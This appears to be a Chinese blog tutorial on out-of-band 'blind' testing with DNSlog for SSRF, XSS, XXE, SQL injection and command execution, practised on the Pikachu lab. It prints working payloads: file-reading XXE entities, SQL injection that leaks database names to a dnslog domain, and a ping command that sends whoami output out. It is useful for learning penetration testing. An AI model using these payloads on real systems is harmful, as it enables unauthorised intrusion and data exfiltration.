前言
基本原理
SSRF 盲打
靶场实例练习
url=http://127.0.0.1:3306
url=file:///C:/Windows/system32/drivers/etc/hosts
XSS的盲打
好的管理员!<script src=http://testxss.a.com></script>
testxss.a.com 10.0.0.0
2、插入 <script>alert(1)</script>即可触发弹窗:
3、接下来插入<script src=http://pqiczg.dnslog.cn></script>:
4、可以在 DNSlog 平台看到对应的请求记录:
此处的 Payload 使用<img src="http://pqiczg.dnslog.cn">也可以。
XXE的盲打
关于 XXE 漏洞的基础知识可以看我的另一篇博文:Web安全-XXE漏洞,此处截图核心:
对于没有回显的 XXE 漏洞,同样可以使用 DNSlog 平台进行漏洞检测。
XXE 盲打靶场实例
1、同样以 Pikachu 靶场的 XXE 漏洞环境为例:
2、先构建常规测试 Payload:
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "Tr0e">
]>
<name>&hacker;</name>
执行结果如下:
3、借助 XXE 漏洞构造读取本地文件的 Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
执行效果如下:
4、假设这是一个 XXE 无回显的漏洞,或者说不清楚服务器是什么操作系统、不清楚文件组成,可以构造如下 DNSlog 相关的 Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://111.4s1b2n.dnslog.cn" > ]>
<foo>&xxe;</foo>
执行效果如下:
SQL的盲注
select load_file('\\\\SQL注入查询语句.4s1b2n.dnslog.cn')
' and if((select load_file(concat('\\\\',(select database()),'.4s1b2n.dnslog.cn'))),1,0)--+
SELECT * FROM article WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.4s1b2n.dnslog.cn'))),1,0)--+
数据库一名字.a.com 10.0.0.0
数据库二名字.a.com 10.0.0.0
数据库三名字.a.com 10.0.0.0
数据库四名字.a.com 10.0.0.0
...
SQL盲注靶场实例
1、下面同样以 Pikachu 靶场的 SQL 盲注(布尔型)漏洞环境为例:
2、输入kobe' and 1=1#可成功查询:
3、输入kobe' and 1=2#查询失败:
4、输入利用 DNSlog 回显数据库名称的 Payload:
kobe' and if((select load_file(concat('\\\\',(select database()),'.096lsv.dnslog.cn'))),1,0)
执行效果如下:
RCE的盲打
//变量 类型 描述//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。//%CD% 本地 返回当前目录字符串。//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。//%COMPUTERNAME% 系统 返回计算机的名称。//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。//%PATH% 系统 指定可执行文件的搜索路径。//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。//%PROCESSOR_REVISION% 系统 返回处理器的版本号。//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。//%USERNAME% 本地 返回当前登录的用户的名称。//%USERPROFILE% 本地 返回当前用户的配置文件的位置。//%WINDIR% 系统 返回操作系统目录的位置。
如果是 Linux 环境,则 Payload 对应的应该为:
ping `whoami`.u4f95y.dnslog.cn
总结
本文参考文章:
1. DNSlog平台各种利用姿势(盲注):https://www.cnblogs.com/sunny11/p/14399420.html
2. DNSlog在渗透测试中的应用:https://blog.csdn.net/weixin_44023680/article/details/111702074
3. 命令执行无回显的一些姿势 :https://mp.weixin.qq.com/s/29leAcZlIo9aOSWdRTfcQg
4. Dnslog在SQL注入中的实战 :https://www.anquanke.com/post/id/98096
如有侵权,请联系删除
好文推荐